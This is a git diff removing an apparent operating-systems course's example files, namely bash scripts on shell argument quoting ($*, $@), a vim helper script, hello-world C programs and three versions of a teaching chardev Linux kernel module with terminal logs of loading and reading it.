-cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh "Dies ist ein Test." "Dies auch." -Dies ist ein Test. Dies auch. -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh "Dies ist ein Test." "Dies auch." -Dies ist ein Test. Dies auch. -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-1.sh foo bar baz -foo bar baz diff --git a/20220404/parameters-2.sh b/20220404/parameters-2.sh deleted file mode 100755 index a61f2bdc389c070844b088ba9b4a0e757f924b98..0000000000000000000000000000000000000000 --- a/20220404/parameters-2.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -echo $# -echo $* diff --git a/20220404/parameters-3.sh b/20220404/parameters-3.sh deleted file mode 100755 index 2f864f485c1772561a4cf09e01284e23d69b5e03..0000000000000000000000000000000000000000 --- a/20220404/parameters-3.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -echo $# -echo $* -echo '$*' -echo "$*" diff --git a/20220404/parameters-3.txt b/20220404/parameters-3.txt deleted file mode 100644 index fc72d524c4e88c350362683e32d7e72def1b49c7..0000000000000000000000000000000000000000 --- a/20220404/parameters-3.txt +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/bash - -echo $# -echo $* -echo '$*' -echo "$*" -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-3.sh -0 - -$* - -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-3.sh "Dies ist" "ein Test." -2 -Dies ist ein Test. -$* -Dies ist ein Test. -cassini/home/peter/bo/2022ss/bs/20220404> echo Dies ist ein Test. -Dies ist ein Test. diff --git a/20220404/parameters-4.sh b/20220404/parameters-4.sh deleted file mode 100755 index 5cf5261f3552329f9a7a8405b23fa74fa4b31877..0000000000000000000000000000000000000000 --- a/20220404/parameters-4.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -for f in $*; do - echo "Mache was mit der Datei \"$f\"" -done diff --git a/20220404/parameters-4.txt b/20220404/parameters-4.txt deleted file mode 100644 index 2149e953a40805d4a5d649b3b3224de35c9fd561..0000000000000000000000000000000000000000 --- a/20220404/parameters-4.txt +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/bash - -for f in $*; do - echo "Mache was mit der Datei \"$f\"" -done -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-4.sh hello*.c -Mache was mit der Datei "hello-1.c" -Mache was mit der Datei "hello-2.c" -cassini/home/peter/bo/2022ss/bs/20220404> ln -s hello-1.c "hello world.c" -cassini/home/peter/bo/2022ss/bs/20220404> ln -s hello-2.c "hello world 2.c" -cassini/home/peter/bo/2022ss/bs/20220404> ls hello\ *.c -'hello world 2.c' 'hello world.c' -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-4.sh hello\ *.c -Mache was mit der Datei "hello" -Mache was mit der Datei "world" -Mache was mit der Datei "2.c" -Mache was mit der Datei "hello" -Mache was mit der Datei "world.c" diff --git a/20220404/parameters-5.sh b/20220404/parameters-5.sh deleted file mode 100755 index 3b41d8c48785e7736d654ba96ee9d830ef500f34..0000000000000000000000000000000000000000 --- a/20220404/parameters-5.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -for f in "$*"; do - echo "Mache was mit der Datei \"$f\"" -done diff --git a/20220404/parameters-5.txt b/20220404/parameters-5.txt deleted file mode 100644 index 7617011416473f65e081db99e405d8b50fefd877..0000000000000000000000000000000000000000 --- a/20220404/parameters-5.txt +++ /dev/null @@ -1,10 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> cat parameters-5.sh -#!/bin/bash - -for f in "$*"; do - echo "Mache was mit der Datei \"$f\"" -done -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-5.sh hello\ *.c -Mache was mit der Datei "hello world 2.c hello world.c" -cassini/home/peter/bo/2022ss/bs/20220404> ls hello\ *.c -'hello world 2.c' 'hello world.c' diff --git a/20220404/parameters-6.sh b/20220404/parameters-6.sh deleted file mode 100755 index e290f9534c8108d4915950882ff61a404e993fce..0000000000000000000000000000000000000000 --- a/20220404/parameters-6.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -for f in "$@"; do - echo "Mache was mit der Datei \"$f\"" -done diff --git a/20220404/parameters-6.txt b/20220404/parameters-6.txt deleted file mode 100644 index 4ced617f321e38668c3f7ee030b9eeed8b9d312e..0000000000000000000000000000000000000000 --- a/20220404/parameters-6.txt +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -for f in "$@"; do - echo "Mache was mit der Datei \"$f\"" -done -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-6.sh hello\ *.c -Mache was mit der Datei "hello world 2.c" -Mache was mit der Datei "hello world.c" -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-6.sh "Dies ist" "ein Test." -Mache was mit der Datei "Dies ist" -Mache was mit der Datei "ein Test." diff --git a/20220404/parameters-7.sh b/20220404/parameters-7.sh deleted file mode 100755 index d4a4cac22c5ad0bd50b22a407701d2777bccabbf..0000000000000000000000000000000000000000 --- a/20220404/parameters-7.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -while [ -n "$1" ]; do - echo "Mache was mit der Datei \"$1\"" - shift -done diff --git a/20220404/parameters-7.txt b/20220404/parameters-7.txt deleted file mode 100644 index 8917cd3e9437739c50782d9de4ec07ce68645cee..0000000000000000000000000000000000000000 --- a/20220404/parameters-7.txt +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/bash - -while [ -n "$1" ]; do - echo "Mache was mit der Datei \"$1\"" - shift -done -cassini/home/peter/bo/2022ss/bs/20220404> ./parameters-7.sh "Dies ist" "ein Test." -Mache was mit der Datei "Dies ist" -Mache was mit der Datei "ein Test." diff --git a/20220404/philosophy.c b/20220404/philosophy.c deleted file mode 100644 index e9f508a501d9ec66d02e0636a9f6c71f2c7a8594..0000000000000000000000000000000000000000 --- a/20220404/philosophy.c +++ /dev/null @@ -1,8 +0,0 @@ -#include <stdio.h> -#include "answer.h" - -int main (void) -{ - printf ("The answer is %d.\n", answer ()); - return 0; -} diff --git a/20220404/screenshot-20220404-122759.png b/20220404/screenshot-20220404-122759.png deleted file mode 100644 index 3ab65322c56c233daa8a2c08e39974c2e6e2992b..0000000000000000000000000000000000000000 Binary files a/20220404/screenshot-20220404-122759.png and /dev/null differ diff --git a/20220404/screenshot-20220404-123432.png b/20220404/screenshot-20220404-123432.png deleted file mode 100644 index 7b61806b48dbf6eed3757bd061fca6e4658300ef..0000000000000000000000000000000000000000 Binary files a/20220404/screenshot-20220404-123432.png and /dev/null differ diff --git a/20220404/screenshot-20220404-132001.png b/20220404/screenshot-20220404-132001.png deleted file mode 100644 index 6e509ea1c93b3d50476d6ed1cefb8290ee1e8c7c..0000000000000000000000000000000000000000 Binary files a/20220404/screenshot-20220404-132001.png and /dev/null differ diff --git a/20220404/screenshot-20220404-132021.png b/20220404/screenshot-20220404-132021.png deleted file mode 100644 index 5c585e5d896403f4fc05923cfda2f593c5a57787..0000000000000000000000000000000000000000 Binary files a/20220404/screenshot-20220404-132021.png and /dev/null differ diff --git a/20220404/vic b/20220404/vic deleted file mode 100755 index 063daa1366b11b0914121af554892a2e2c68183f..0000000000000000000000000000000000000000 --- a/20220404/vic +++ /dev/null @@ -1,39 +0,0 @@ -#!/bin/bash - -debug=false - -if [ $# -gt 0 ]; then - $debug && echo "parameters = $@" - shift $(( $# - 1 )) - file_template="$1" -else - file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) -fi - -$debug && echo "file_template = $file_template" - -file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/') -file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/') - -$debug && echo "file_extension = $file_extension" -$debug && echo "file_base = $file_base" - -file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/') -file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/') - -$debug && echo "file_number = $file_number" -$debug && echo "file_number = $file_stem" - -while [ -e "$file_stem-$file_number.$file_extension" ]; do - file_number=$((file_number + 1)) -done -new_file_name="$file_stem-$file_number.$file_extension" - -$debug && echo "new_file_name = $new_file_name" && read junk - -cp -pi "$file_template" "$new_file_name" -#$EDITOR "$new_file_name" -/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \ - "$new_file_name" -clear -cat "$new_file_name" diff --git a/20220404/vic-1.txt b/20220404/vic-1.txt deleted file mode 100644 index 18ddfa2f2d0e534b7a4cda2540374142ffd60297..0000000000000000000000000000000000000000 --- a/20220404/vic-1.txt +++ /dev/null @@ -1,17 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) -cassini/home/peter/bo/2022ss/bs/20220404> echo $file_template -parameters-7.sh -cassini/home/peter/bo/2022ss/bs/20220404> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1 -parameters-7.sh -cassini/home/peter/bo/2022ss/bs/20220404> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null - hello-1.c parameters-2.sh 'hello world.c' parameters-6.sh - hello-2.c parameters-3.sh 'hello world 2.c' parameters-7.sh - parameters-1.sh parameters-4.sh parameters-5.sh -cassini/home/peter/bo/2022ss/bs/20220404> ls -rt *.c *.cpp *.sh *.py *.tex *.diff -ls: Zugriff auf '*.cpp' nicht möglich: Datei oder Verzeichnis nicht gefunden -ls: Zugriff auf '*.py' nicht möglich: Datei oder Verzeichnis nicht gefunden -ls: Zugriff auf '*.tex' nicht möglich: Datei oder Verzeichnis nicht gefunden -ls: Zugriff auf '*.diff' nicht möglich: Datei oder Verzeichnis nicht gefunden - hello-1.c parameters-2.sh 'hello world.c' parameters-6.sh - hello-2.c parameters-3.sh 'hello world 2.c' parameters-7.sh - parameters-1.sh parameters-4.sh parameters-5.sh diff --git a/20220404/vic-2.txt b/20220404/vic-2.txt deleted file mode 100644 index 242f081fdb9c21a61737cadecc9482666ae847f7..0000000000000000000000000000000000000000 --- a/20220404/vic-2.txt +++ /dev/null @@ -1,47 +0,0 @@ -#!/bin/bash - -debug=true - -if [ $# -gt 0 ]; then - $debug && echo "parameters = $@" - shift $(( $# - 1 )) - file_template="$1" -else - file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) -fi - -$debug && echo "file_template = $file_template" - -file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/') -file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/') - -$debug && echo "file_extension = $file_extension" -$debug && echo "file_base = $file_base" - -file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/') -file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/') - -$debug && echo "file_number = $file_number" -$debug && echo "file_number = $file_stem" - -while [ -e "$file_stem-$file_number.$file_extension" ]; do - file_number=$((file_number + 1)) -done -new_file_name="$file_stem-$file_number.$file_extension" - -$debug && echo "new_file_name = $new_file_name" && read junk - -cp -pi "$file_template" "$new_file_name" -#$EDITOR "$new_file_name" -/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \ - "$new_file_name" -clear -cat "$new_file_name" -cassini/home/peter/bo/2022ss/bs/20220404> ./vic -file_template = parameters-7.sh -file_extension = sh -file_base = parameters-7 -file_number = 7 -file_number = parameters -new_file_name = parameters-8.sh -^C diff --git a/20220404/vicat b/20220404/vicat deleted file mode 100755 index c3565c648e9320f871f275b135cef86d4c918ebd..0000000000000000000000000000000000000000 --- a/20220404/vicat +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' "$@" -clear -shift $(( $# - 1 )) -cat "$1" diff --git a/20220411/Makefile b/20220411/Makefile deleted file mode 120000 index 5ce401dd46fbd7266779a960b7ddfda0197b3a70..0000000000000000000000000000000000000000 --- a/20220411/Makefile +++ /dev/null @@ -1 +0,0 @@ -Makefile-modules \ No newline at end of file diff --git a/20220411/Makefile-modules b/20220411/Makefile-modules deleted file mode 100644 index 3c490d6fffff190bc59a16ebdd38ffdab1348d2c..0000000000000000000000000000000000000000 --- a/20220411/Makefile-modules +++ /dev/null @@ -1,9 +0,0 @@ -obj-m += chardev-1.o -obj-m += chardev-2.o -obj-m += chardev-3.o - -all: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules - -clean: - make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/20220411/cat-chardev-1.c b/20220411/cat-chardev-1.c deleted file mode 100644 index 2e6bb3c88d55b11996f1f72ca6d010e441f8b9b7..0000000000000000000000000000000000000000 --- a/20220411/cat-chardev-1.c +++ /dev/null @@ -1,12 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char buffer[100]; - FILE *f = fopen ("dev/chardev", "r"); - fgets (buffer, 100, stdin); - fgets (buffer, 100, f); - printf ("%s\n", buffer); - fclose (f); - return 0; -} diff --git a/20220411/cat-chardev-2.c b/20220411/cat-chardev-2.c deleted file mode 100644 index 7e2ceb9b8c0d94d18e86044fc516896aefbde3a5..0000000000000000000000000000000000000000 --- a/20220411/cat-chardev-2.c +++ /dev/null @@ -1,16 +0,0 @@ -#include <stdio.h> -#include <error.h> -#include <errno.h> - -int main (void) -{ - char buffer[100]; - FILE *f = fopen ("dev/chardev", "r"); - if (!f) - error (errno, errno, "could not open dev/chardev"); - fgets (buffer, 100, stdin); - fgets (buffer, 100, f); - printf ("%s\n", buffer); - fclose (f); - return 0; -} diff --git a/20220411/chardev-1.c b/20220411/chardev-1.c deleted file mode 100644 index f89459b69968c15a25de986615b329fc3d339a66..0000000000000000000000000000000000000000 --- a/20220411/chardev-1.c +++ /dev/null @@ -1,166 +0,0 @@ -/* - * chardev.c: Creates a read-only char device that says how many times - * you've read from the dev file - */ - -#include <linux/kernel.h> -#include <linux/module.h> -#include <linux/fs.h> -#include <asm/uaccess.h> /* for put_user */ - -/* - * Prototypes - this would normally go in a .h file - */ -int init_module(void); -void cleanup_module(void); -static int device_open(struct inode *, struct file *); -static int device_release(struct inode *, struct file *); -static ssize_t device_read(struct file *, char *, size_t, loff_t *); -static ssize_t device_write(struct file *, const char *, size_t, loff_t *); - -#define SUCCESS 0 -#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ -#define BUF_LEN 80 /* Max length of the message from the device */ - -/* - * Global variables are declared as static, so are global within the file. - */ - -static int Major; /* Major number assigned to our device driver */ -static int Device_Open = 0; /* Is device open? - * Used to prevent multiple access to device */ -static char msg[BUF_LEN]; /* The msg the device will give when asked */ -static char *msg_Ptr; - -static struct file_operations fops = { - .read = device_read, - .write = device_write, - .open = device_open, - .release = device_release -}; - -/* - * This function is called when the module is loaded - */ -int init_module(void) -{ - Major = register_chrdev(0, DEVICE_NAME, &fops); - - if (Major < 0) { - printk(KERN_ALERT "Registering char device failed with %d\n", Major); - return Major; - } - - printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); - printk(KERN_INFO "the driver, create a dev file with\n"); - printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); - printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); - printk(KERN_INFO "the device file.\n"); - printk(KERN_INFO "Remove the device file and module when done.\n"); - - return SUCCESS; -} - -/* - * This function is called when the module is unloaded - */ -void cleanup_module(void) -{ - /* - * Unregister the device - */ - unregister_chrdev(Major, DEVICE_NAME); -} - -/* - * Methods - */ - -/* - * Called when a process tries to open the device file, like - * "cat /dev/mycharfile" - */ -static int device_open(struct inode *inode, struct file *file) -{ - static int counter = 0; - - if (Device_Open) - return -EBUSY; - - Device_Open++; - sprintf(msg, "I already told you %d times Hello world!\n", counter++); - msg_Ptr = msg; - try_module_get(THIS_MODULE); - - return SUCCESS; -} - -/* - * Called when a process closes the device file. - */ -static int device_release(struct inode *inode, struct file *file) -{ - Device_Open--; /* We're now ready for our next caller */ - - /* - * Decrement the usage count, or else once you opened the file, you'll - * never get get rid of the module. - */ - module_put(THIS_MODULE); - - return 0; -} - -/* - * Called when a process, which already opened the dev file, attempts to - * read from it. - */ -static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ - char *buffer, /* buffer to fill with data */ - size_t length, /* length of the buffer */ - loff_t *offset) -{ - /* - * Number of bytes actually written to the buffer - */ - int bytes_read = 0; - - /* - * If we're at the end of the message, - * return 0 signifying end of file - */ - if (*msg_Ptr == 0) - return 0; - - /* - * Actually put the data into the buffer - */ - while (length && *msg_Ptr) { - - /* - * The buffer is in the user data segment, not the kernel - * segment so "*" assignment won't work. We have to use - * put_user which copies data from the kernel data segment to - * the user data segment. - */ - put_user(*(msg_Ptr++), buffer++); - - length--; - bytes_read++; - } - - /* - * Most read functions return the number of bytes put into the buffer - */ - return bytes_read; -} - -/* - * Called when a process writes to dev file: echo "hi" > /dev/hello - */ -static ssize_t -device_write(struct file *filp, const char *buff, size_t len, loff_t * off) -{ - printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); - return -EINVAL; -} diff --git a/20220411/chardev-2.c b/20220411/chardev-2.c deleted file mode 100644 index b86c6d0dbf1636416ed36d724a7c0bc84f200121..0000000000000000000000000000000000000000 --- a/20220411/chardev-2.c +++ /dev/null @@ -1,183 +0,0 @@ -/* - * chardev.c: Creates a read-only char device that says how many times - * you've read from the dev file - */ - -#include <linux/kernel.h> -#include <linux/module.h> -#include <linux/device.h> -#include <linux/fs.h> -#include <asm/uaccess.h> /* for put_user */ - -/* - * Prototypes - this would normally go in a .h file - */ -int init_module(void); -void cleanup_module(void); -static int device_open(struct inode *, struct file *); -static int device_release(struct inode *, struct file *); -static ssize_t device_read(struct file *, char *, size_t, loff_t *); -static ssize_t device_write(struct file *, const char *, size_t, loff_t *); - -struct class *dev_Class; -struct device *chr_dev; - -#define SUCCESS 0 -#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ -#define BUF_LEN 80 /* Max length of the message from the device */ - -/* - * Global variables are declared as static, so are global within the file. - */ - -static int Major; /* Major number assigned to our device driver */ -static int Device_Open = 0; /* Is device open? - * Used to prevent multiple access to device */ -static char msg[BUF_LEN]; /* The msg the device will give when asked */ -static char *msg_Ptr; - -static struct file_operations fops = { - .read = device_read, - .write = device_write, - .open = device_open, - .release = device_release -}; - -/* - * This function is called when the module is loaded - */ -int init_module(void) -{ - Major = register_chrdev(0, DEVICE_NAME, &fops); - - if (Major < 0) { - printk(KERN_ALERT "Registering char device failed with %d\n", Major); - return Major; - } - - // Create module class - printk(KERN_INFO "Creating device class ...\n"); - dev_Class = class_create(THIS_MODULE,DEVICE_NAME); - if( dev_Class == NULL) - { - printk( KERN_ALERT "Error! Class couldn't be created!\n" ); - return 1 ; - } - printk( KERN_INFO "Class created!\n" ); - // Create device in /dev/... - printk(KERN_INFO "Creating device\n"); - chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME); - - printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); - printk(KERN_INFO "the driver, create a dev file with\n"); - printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major); - printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); - printk(KERN_INFO "the device file.\n"); - printk(KERN_INFO "Remove the device file and module when done.\n"); - - return SUCCESS; -} - -/* - * This function is called when the module is unloaded - */ -void cleanup_module(void) -{ - /* - * Unregister the device - */ - unregister_chrdev(Major, DEVICE_NAME); -} - -/* - * Methods - */ - -/* - * Called when a process tries to open the device file, like - * "cat /dev/mycharfile" - */ -static int device_open(struct inode *inode, struct file *file) -{ - static int counter = 0; - - if (Device_Open) - return -EBUSY; - - Device_Open++; - sprintf(msg, "I already told you %d times Hello world!\n", counter++); - msg_Ptr = msg; - try_module_get(THIS_MODULE); - - return SUCCESS; -} - -/* - * Called when a process closes the device file. - */ -static int device_release(struct inode *inode, struct file *file) -{ - Device_Open--; /* We're now ready for our next caller */ - - /* - * Decrement the usage count, or else once you opened the file, you'll - * never get get rid of the module. - */ - module_put(THIS_MODULE); - - return 0; -} - -/* - * Called when a process, which already opened the dev file, attempts to - * read from it. - */ -static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ - char *buffer, /* buffer to fill with data */ - size_t length, /* length of the buffer */ - loff_t * offset) -{ - /* - * Number of bytes actually written to the buffer - */ - int bytes_read = 0; - - /* - * If we're at the end of the message, - * return 0 signifying end of file - */ - if (*msg_Ptr == 0) - return 0; - - /* - * Actually put the data into the buffer - */ - while (length && *msg_Ptr) { - - /* - * The buffer is in the user data segment, not the kernel - * segment so "*" assignment won't work. We have to use - * put_user which copies data from the kernel data segment to - * the user data segment. - */ - put_user(*(msg_Ptr++), buffer++); - - length--; - bytes_read++; - } - - /* - * Most read functions return the number of bytes put into the buffer - */ - return bytes_read; -} - -/* - * Called when a process writes to dev file: echo "hi" > /dev/hello - */ -static ssize_t -device_write(struct file *filp, const char *buff, size_t len, loff_t * off) -{ - printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); - return -EINVAL; -} diff --git a/20220411/chardev-3.c b/20220411/chardev-3.c deleted file mode 100644 index 663c4a555ba554c69b8a3ac41228254e40f643e3..0000000000000000000000000000000000000000 --- a/20220411/chardev-3.c +++ /dev/null @@ -1,198 +0,0 @@ -/* - * chardev.c: Creates a read-only char device that says how many times - * you've read from the dev file - */ - -#include <linux/kernel.h> -#include <linux/module.h> -#include <linux/device.h> -#include <linux/fs.h> -#include <asm/uaccess.h> /* for put_user */ - -MODULE_LICENSE("GPL"); - -/* - * Prototypes - this would normally go in a .h file - */ -int init_module(void); -void cleanup_module(void); -static int device_open(struct inode *, struct file *); -static int device_release(struct inode *, struct file *); -static ssize_t device_read(struct file *, char *, size_t, loff_t *); -static ssize_t device_write(struct file *, const char *, size_t, loff_t *); - -struct class *dev_Class; -struct device *chr_dev; - -#define SUCCESS 0 -#define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ -#define BUF_LEN 80 /* Max length of the message from the device */ - -/* - * Global variables are declared as static, so are global within the file. - */ - -static int Major; /* Major number assigned to our device driver */ -static int Device_Open = 0; /* Is device open? - * Used to prevent multiple access to device */ -static char msg[BUF_LEN]; /* The msg the device will give when asked */ -static char *msg_Ptr; - -static struct file_operations fops = { - .read = device_read, - .write = device_write, - .open = device_open, - .release = device_release -}; - -/* - * This function is called when the module is loaded - */ -int init_module(void) -{ - Major = register_chrdev(0, DEVICE_NAME, &fops); - - if (Major < 0) { - printk(KERN_ALERT "Registering char device failed with %d\n", Major); - return Major; - } - - // Create module class - printk (KERN_INFO "Creating device class \"chardev\" ...\n"); - dev_Class = class_create (THIS_MODULE,DEVICE_NAME); - if( dev_Class == NULL) - { - printk (KERN_ALERT "Error! Class couldn't be created!\n"); - return 1; - } - printk (KERN_INFO "Class created!\n"); - // Create device in /dev/... - printk (KERN_INFO "Creating device\n"); - chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME); - if (chr_dev == NULL) - { - printk( KERN_ALERT "Error! Device couldn't be created!\n" ); - return 1 ; - } - - return SUCCESS; -} - -/* - * This function is called when the module is unloaded - */ -void cleanup_module(void) -{ - printk(KERN_INFO "module chardev-3 cleanup\n"); - //Unregister the device - if (chr_dev) - { - printk(KERN_INFO "Unregister device ...\n"); - device_unregister(chr_dev); - printk(KERN_INFO "OK\n"); - } - - if (dev_Class) - { - printk(KERN_INFO "Unregister class ...\n"); - class_unregister(dev_Class); - printk(KERN_INFO "OK\n"); - } - - printk(KERN_INFO "Unregister Chardev ...\n"); - unregister_chrdev(Major, DEVICE_NAME); - printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME); -} - -/* - * Methods - */ - -/* - * Called when a process tries to open the device file, like - * "cat /dev/mycharfile" - */ -static int device_open(struct inode *inode, struct file *file) -{ - static int counter = 0; - - if (Device_Open) - return -EBUSY; - - Device_Open++; - sprintf(msg, "I already told you %d times Hello world!\n", counter++); - msg_Ptr = msg; - try_module_get(THIS_MODULE); - - return SUCCESS; -} - -/* - * Called when a process closes the device file. - */ -static int device_release(struct inode *inode, struct file *file) -{ - Device_Open--; /* We're now ready for our next caller */ - - /* - * Decrement the usage count, or else once you opened the file, you'll - * never get get rid of the module. - */ - module_put(THIS_MODULE); - - return 0; -} - -/* - * Called when a process, which already opened the dev file, attempts to - * read from it. - */ -static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ - char *buffer, /* buffer to fill with data */ - size_t length, /* length of the buffer */ - loff_t * offset) -{ - /* - * Number of bytes actually written to the buffer - */ - int bytes_read = 0; - - /* - * If we're at the end of the message, - * return 0 signifying end of file - */ - if (*msg_Ptr == 0) - return 0; - - /* - * Actually put the data into the buffer - */ - while (length && *msg_Ptr) { - - /* - * The buffer is in the user data segment, not the kernel - * segment so "*" assignment won't work. We have to use - * put_user which copies data from the kernel data segment to - * the user data segment. - */ - put_user(*(msg_Ptr++), buffer++); - - length--; - bytes_read++; - } - - /* - * Most read functions return the number of bytes put into the buffer - */ - return bytes_read; -} - -/* - * Called when a process writes to dev file: echo "hi" > /dev/hello - */ -static ssize_t -device_write(struct file *filp, const char *buff, size_t len, loff_t * off) -{ - printk(KERN_ALERT "Sorry, this operation isn't supported.\n"); - return -EINVAL; -} diff --git a/20220411/glibc-1.txt b/20220411/glibc-1.txt deleted file mode 100644 index 0221b903ed5da4ad46da65d76b7ae5cccd346e66..0000000000000000000000000000000000000000 --- a/20220411/glibc-1.txt +++ /dev/null @@ -1,6 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220411> dir -d glibc* -drwxr-xr-x 73 peter peter 4096 Apr 11 13:29 glibc-2.28 --rw-r--r-- 1 peter peter 899676 Mär 17 23:12 glibc_2.28-10+deb10u1.debian.tar.xz --rw-r--r-- 1 peter peter 8921 Mär 17 23:12 glibc_2.28-10+deb10u1.dsc --rw-r--r-- 1 peter peter 17061292 Okt 30 2018 glibc_2.28.orig.tar.xz -cassini/home/peter/bo/2022ss/bs/20220411> apt-get source libc6 diff --git a/20220411/hello-1.c b/20220411/hello-1.c deleted file mode 100644 index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000 --- a/20220411/hello-1.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} diff --git a/20220411/hello-2.c b/20220411/hello-2.c deleted file mode 100644 index 2dbbad99d102df43d00779483f789f03274353ca..0000000000000000000000000000000000000000 --- a/20220411/hello-2.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!"); - return 0; -} diff --git a/20220411/hello-3.c b/20220411/hello-3.c deleted file mode 100644 index b767f77cd3a7328e5f45b60e674d32a647386509..0000000000000000000000000000000000000000 --- a/20220411/hello-3.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - puts ("Hello, world!"); - return 0; -} diff --git a/20220411/modules-6.txt b/20220411/modules-6.txt deleted file mode 100644 index 44cf5cfdc978305263273d002535a5343de46c65..0000000000000000000000000000000000000000 --- a/20220411/modules-6.txt +++ /dev/null @@ -1,50 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220404> sudo insmod chardev-1.ko -cassini/home/peter/bo/2022ss/bs/20220404> sudo dmesg | tail -15 -[2143588.930267] usb 4-1.5: Manufacturer: Chicony Electronics Co.,Ltd. -[2143588.930270] usb 4-1.5: SerialNumber: 200901010001 -[2143588.937888] uvcvideo: Found UVC 1.00 device USB2.0 HD UVC WebCam (04f2:b330) -[2143588.955826] uvcvideo 4-1.5:1.0: Entity type for entity Extension 4 was not initialized! -[2143588.955832] uvcvideo 4-1.5:1.0: Entity type for entity Processing 2 was not initialized! -[2143588.955834] uvcvideo 4-1.5:1.0: Entity type for entity Camera 1 was not initialized! -[2143588.955951] input: USB2.0 HD UVC WebCam: USB2.0 HD as /devices/pci0000:00/0000:00:1d.0/usb4/4-1/4-1.5/4-1.5:1.0/input/input426 -[2144883.840634] Hello world 1. -[2144980.069509] Goodbye world 1. -[2145413.353119] I was assigned major number 241. To talk to -[2145413.353121] the driver, create a dev file with -[2145413.353121] 'mknod /dev/chardev c 241 0'. -[2145413.353121] Try various minor numbers. Try to cat and echo to -[2145413.353122] the device file. -[2145413.353122] Remove the device file and module when done. -cassini/home/peter/bo/2022ss/bs/20220404> ls -l dev -insgesamt 0 -crw-r--r-- 1 root root 241, 0 Apr 4 14:39 chardev -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -I already told you 0 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -I already told you 1 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -I already told you 2 times Hello world! -cassini/home/peter/bo/2022ss/bs/20220404> sudo rmmod chardev_1 -cassini/home/peter/bo/2022ss/bs/20220404> ls -l dev/chardev -crw-r--r-- 1 root root 241, 0 Apr 4 14:39 dev/chardev -cassini/home/peter/bo/2022ss/bs/20220404> cat dev/chardev -cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden -cassini/home/peter/bo/2022ss/bs/20220404> cd ../20220411/ -cassini/home/peter/bo/2022ss/bs/20220411> ls -l -insgesamt 28 --rw-r--r-- 1 peter peter 4069 Apr 4 2014 chardev-1.c --rw-r--r-- 1 peter peter 4659 Mai 5 2017 chardev-2.c 